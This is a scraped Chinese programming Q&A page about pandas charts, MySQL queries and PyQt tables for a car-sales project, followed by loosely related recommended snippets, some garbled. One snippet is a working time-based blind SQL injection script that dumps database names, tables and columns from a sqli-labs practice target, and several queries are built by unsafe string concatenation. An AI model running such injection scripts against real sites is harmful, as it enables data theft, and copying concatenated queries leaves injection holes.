select_sqli ="SELECT time,SUM(CASE WHEN type_c='两厢车' THEN xiaoliang ELSE 0 END)/SUM(xiaoliang) AS ratio,1 - SUM(CASE WHEN type_c='两厢车' THEN xiaoliang ELSE 0 END)/SUM(xiaoliang) AS ratio_complement FROM sheji.sale GROUP BY time;" cur.execute(select_sqli) data = pd.DataFrame(cur.fetchall(), columns=['time', 'portion','r_portion']) data.set_index('time') data = data.sort_index() data = data.iloc[:5, :] plt.figure(figsize=(9.42,1)) data.plot(kind='bar', stacked=True) # 设置标题和标签 plt.title('Sales Ratio of Different Categories') plt.xlabel('Category') plt.ylabel('Ratio') plt.xticks(rotation=90) # 显示图形 plt.savefig('portion.png',dpi=300) pix = QPixmap("portion.png") new_width = self.Market.label_4.width() new_height = int(pix.height() * new_width / pix.width()) scaled_pixmap = pix.scaled(QSize(new_width, new_height), Qt.AspectRatioMode.KeepAspectRatio,Qt.TransformationMode.SmoothTransformation) self.Market.label_4.setPixmap(scaled_pixmap) plt.close()为什么横轴变成0,1,2,3,4了,应该为日期

时间: 2024-02-14 07:07:03 浏览: 26
根据你提供的代码,应该是因为没有正确设置横轴的标签。可以尝试在`data.plot()`函数中添加参数 `x='time'` 来指定横轴,例如 `data.plot(kind='bar', stacked=True, x='time')`。另外,你也可以尝试在绘制图形之前添加一行代码 `data = data.set_index('time')` 来将时间列设为索引,然后再进行绘图。这样应该就能正确显示横轴的日期了。
相关问题

select_sqli = "SELECT distinct chexing FROM sheji.sale where type_c='"+string+"' and time='"+year_month+"' order by rank_m ;"

根据你提供的 SQL 语句,错误信息提示在 ORDER BY 子句中引用了不在 SELECT 列表中的列 'sheji.sale.rank_m'。这可能是因为在 SELECT 列表中并没有包含 'rank_m' 这一列。你可以尝试修改 SQL 语句,将 'rank_m' 列添加到 SELECT 列表中,如下所示: ``` SELECT DISTINCT chexing, rank_m FROM sheji.sale WHERE type_c = '"+string+"' AND time = '"+year_month+"' ORDER BY rank_m; ``` 这样就可以在 ORDER BY 子句中引用 'rank_m' 列了。如果你想去除 'rank_m' 列的重复值,可以使用 GROUP BY 子句,如下所示: ``` SELECT chexing, rank_m FROM sheji.sale WHERE type_c = '"+string+"' AND time = '"+year_month+"' GROUP BY chexing, rank_m ORDER BY rank_m; ``` 注意:在使用 SQL 语句时,应该尽量避免使用字符串拼接的方式来构建 SQL 语句,因为这样容易引入 SQL 注入漏洞。建议使用参数化查询的方式来构建 SQL 语句,这样可以有效避免 SQL 注入漏洞。

try: select_sqli = "SELECT distinct time FROM sheji.sale;" cur.execute(select_sqli) data = pd.DataFrame(cur.fetchall(), columns=['time']) except Exception as e: print("读取数据失败:", e) else: print("读取数据成功") data['time'] = pd.to_datetime(data['time'], format='%Y-%m') data = data.sort_index() year_month = time.strftime('%Y-%m', time.localtime(data['time'][0])) print(year_month)哪里有错

这段代码中可能存在以下几个问题: 1. 代码中缺少数据库连接的相关操作,包括导入相关库、建立连接、创建游标等操作。需要确保已经完成了这些操作才能执行 SQL 查询语句。 2. `pd.DataFrame(cur.fetchall(), columns=['time'])` 中的 `cur.fetchall()` 可能会返回空结果,如果为空,则不能用空值来创建 DataFrame。需要加上判断语句,如: ```python if cur.rowcount > 0: data = pd.DataFrame(cur.fetchall(), columns=['time']) else: print("查询结果为空") ``` 3. `data['time'][0]` 可能会出现 `IndexError` 的错误,因为 DataFrame 可能为空。需要先判断 DataFrame 是否为空,如: ```python if not data.empty: year_month = time.strftime('%Y-%m', time.localtime(data['time'][0])) else: print("DataFrame为空") ``` 希望这些提示能够帮助你解决问题。

相关推荐

import pandas as pdimport numpy as npimport matplotlib.pyplot as pltfrom statsmodels.tsa.arima_model import ARIMAfrom sklearn.metrics import mean_squared_errorimport pymysqlimport time, osimport reimport requestsimport urllibfrom datetime import datetimefrom statsmodels.graphics.tsaplots import plot_acf, plot_pacf# 导入模块import pandas as pdimport numpy as npimport matplotlib.pyplot as pltfrom statsmodels.tsa.arima_model import ARIMAfrom sklearn.metrics import mean_squared_errorimport pymysqlfrom datetime import datetimefrom statsmodels.graphics.tsaplots import plot_acf, plot_pacf# 连接数据库connect = pymysql.connect(host='localhost', # 本地数据库 user='root', password='123456', port=3306, charset='utf8', database='sheji') # 数据库名称cur = connect.cursor()# 读取数据try: select_sqli = "SELECT time,xiaoliang FROM sale where chexing='海豚';" cur.execute(select_sqli) data = pd.DataFrame(cur.fetchall(), columns=['time', 'xiaoliang'])except Exception as e: print("读取数据失败:", e)else: print("读取数据成功")# 转换时间格式data['time'] = pd.to_datetime(data['time'], format='%Y-%m')data = data.set_index('time')diff_data = data.diff().dropna()# 绘制自相关图和偏自相关图plot_acf(diff_data)plot_pacf(diff_data)# 确定 ARIMA 模型的参数p = 1d = 1q = 1model = ARIMA(data, order=(p, d, q))model_fit = model.fit(disp=0)# 预测销量y_pred = model_fit.predict(len(data), len(data) + 11, typ='levels')# 绘制预测结果plt.plot(data)plt.plot(y_pred, color='red')plt.show()# 关闭数据库连接cur.close()connect.close()请将这段代码改为移动平均模型

import time import requests def get_data_len(url, data_payload): length = 1 while True: data = f"id=1' and if(LENGTH({data_payload})>{length},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: length += 1 else: break return length def get_ASCII(url, ascii_payload): ascii_value = '' for i in range(1, len(ascii_payload) + 1): left = 32 right = 126 while left <= right: mid = left + (right - left) // 2 data = f"id=1' and if(ASCII(SUBSTRING({ascii_payload}, {i}, 1))>{mid},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: left = mid + 1 else: right = mid - 1 ascii_value += chr(left) return ascii_value def get_schema_name(url): len = get_data_len(url, 'database()') print('获取数据库名字') db_name = get_ASCII(url, f'substr(database(),1,{len})') print(db_name) def get_table_name(url): table_name = get_ASCII(url, '(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())') print(table_name) def get_column_names(url, table_name): column_names = get_ASCII(url, f"(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}')") print(column_names) def get_column_data(url, table_name, column_name): column_data = get_ASCII(url, f"(SELECT GROUP_CONCAT({column_name}) FROM {table_name})") print(column_data) url = "http://192.168.124.128/sqli-labs-master/Less-9/??id=1/" print('开始') get_schema_name(url) print() get_table_name(url) get_column_names(url,'emails') table_name = 'emails' column_name = 'email_id' get_column_data(url, table_name, column_name)帮我写个类似这样的python时间盲注脚本

class Table(QWidget): switch_window1 = QtCore.pyqtSignal(str) # 跳转信号 def init(self, arg=None): super(Table, self).init(arg) def create(self,string): self.setWindowTitle("QTableView表格视图控件的例子") self.resize(540,450); self.model=QStandardItemModel(1,1); self.model.setHorizontalHeaderLabels(['品牌']) try: select_sqli = "SELECT distinct chexing FROM sheji.canshu where chexi='"+string+"' ;" cur.execute(select_sqli) data=cur.fetchall() except Exception as e: print("创建数据表失败:", e) else: print("创建数据表成功;") x = 0 for i in data: y = 0 for j in i: self.model.setItem(x,y,QStandardItem(str(data[x][y]))) y = y + 1 x = x + 1 '''for row in range(8): for column in range(8): item = QStandardItem("row %s, column %s"%(row,column)) self.model.setItem(row, column, item)''' self.tableView=QTableView() self.tableView.setModel(self.model) self.tableView.verticalHeader().hide() self.tableView.clicked.connect(self.table_left_click) for i in range(x): self.tableView.setRowHeight(i, 66) for i in range(y): self.tableView.setColumnWidth(i, 500) self.tableView.setIconSize(QSize(60,60)) #下面代码让表格100填满窗口 #self.tableView.horizontalHeader().setStretchLastSection(True) #self.tableView.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch) dlgLayout=QVBoxLayout(); dlgLayout.addWidget(self.tableView) self.setLayout(dlgLayout) def table_left_click(self, item): # item 是你点击的那个单元格对象 sf = "You clicked on {0}x{1}".format(item.column(), item.row()) t=self.model.itemData(self.model.index(self.tableView.currentIndex().row(), self.tableView.currentIndex().column()))[0] print(t) print(sf) self.switch_window1.emit(t) 设置这个的背景颜色

最新推荐

recommend-type

windows环境下安装sqli-labs

windows server 2012 环境下,安装sqli-labs的详细教程,适合新手小白,大神可以参考一下,有不足的地方请联系我。
recommend-type

pre_o_1csdn63m9a1bs0e1rr51niuu33e.a

pre_o_1csdn63m9a1bs0e1rr51niuu33e.a
recommend-type

zigbee-cluster-library-specification

最新的zigbee-cluster-library-specification说明文档。
recommend-type

管理建模和仿真的文件

管理Boualem Benatallah引用此版本:布阿利姆·贝纳塔拉。管理建模和仿真。约瑟夫-傅立叶大学-格勒诺布尔第一大学,1996年。法语。NNT:电话:00345357HAL ID:电话:00345357https://theses.hal.science/tel-003453572008年12月9日提交HAL是一个多学科的开放存取档案馆,用于存放和传播科学研究论文,无论它们是否被公开。论文可以来自法国或国外的教学和研究机构,也可以来自公共或私人研究中心。L’archive ouverte pluridisciplinaire
recommend-type

实现实时数据湖架构:Kafka与Hive集成

![实现实时数据湖架构:Kafka与Hive集成](https://img-blog.csdnimg.cn/img_convert/10eb2e6972b3b6086286fc64c0b3ee41.jpeg) # 1. 实时数据湖架构概述** 实时数据湖是一种现代数据管理架构,它允许企业以低延迟的方式收集、存储和处理大量数据。与传统数据仓库不同,实时数据湖不依赖于预先定义的模式,而是采用灵活的架构,可以处理各种数据类型和格式。这种架构为企业提供了以下优势: - **实时洞察:**实时数据湖允许企业访问最新的数据,从而做出更明智的决策。 - **数据民主化:**实时数据湖使各种利益相关者都可
recommend-type

2. 通过python绘制y=e-xsin(2πx)图像

可以使用matplotlib库来绘制这个函数的图像。以下是一段示例代码: ```python import numpy as np import matplotlib.pyplot as plt def func(x): return np.exp(-x) * np.sin(2 * np.pi * x) x = np.linspace(0, 5, 500) y = func(x) plt.plot(x, y) plt.xlabel('x') plt.ylabel('y') plt.title('y = e^{-x} sin(2πx)') plt.show() ``` 运行这段
recommend-type

JSBSim Reference Manual

JSBSim参考手册,其中包含JSBSim简介,JSBSim配置文件xml的编写语法,编程手册以及一些应用实例等。其中有部分内容还没有写完,估计有生之年很难看到完整版了,但是内容还是很有参考价值的。
recommend-type

"互动学习:行动中的多样性与论文攻读经历"

多样性她- 事实上SCI NCES你的时间表ECOLEDO C Tora SC和NCESPOUR l’Ingén学习互动,互动学习以行动为中心的强化学习学会互动,互动学习,以行动为中心的强化学习计算机科学博士论文于2021年9月28日在Villeneuve d'Asq公开支持马修·瑟林评审团主席法布里斯·勒菲弗尔阿维尼翁大学教授论文指导奥利维尔·皮耶昆谷歌研究教授:智囊团论文联合主任菲利普·普雷教授,大学。里尔/CRISTAL/因里亚报告员奥利维耶·西格德索邦大学报告员卢多维奇·德诺耶教授,Facebook /索邦大学审查员越南圣迈IMT Atlantic高级讲师邀请弗洛里安·斯特鲁布博士,Deepmind对于那些及时看到自己错误的人...3谢谢你首先,我要感谢我的两位博士生导师Olivier和Philippe。奥利维尔,"站在巨人的肩膀上"这句话对你来说完全有意义了。从科学上讲,你知道在这篇论文的(许多)错误中,你是我可以依
recommend-type

实现实时监控告警系统:Kafka与Grafana整合

![实现实时监控告警系统:Kafka与Grafana整合](https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2pwZy9BVldpY3ladXVDbEZpY1pLWmw2bUVaWXFUcEdLT1VDdkxRSmQxZXB5R1lxaWNlUjA2c0hFek5Qc3FyRktudFF1VDMxQVl3QTRXV2lhSWFRMEFRc0I1cW1ZOGcvNjQw?x-oss-process=image/format,png) # 1.1 Kafka集群架构 Kafka集群由多个称为代理的服务器组成,这
recommend-type

导入numpy库,创建两个包含9个随机数的3*3的矩阵,将两个矩阵分别打印出来,计算两个数组的点积并打印出来。(random.randn()、dot()函数)

可以的,以下是代码实现: ```python import numpy as np # 创建两个包含9个随机数的3*3的矩阵 matrix1 = np.random.randn(3, 3) matrix2 = np.random.randn(3, 3) # 打印两个矩阵 print("Matrix 1:\n", matrix1) print("Matrix 2:\n", matrix2) # 计算两个数组的点积并打印出来 dot_product = np.dot(matrix1, matrix2) print("Dot product:\n", dot_product) ``` 希望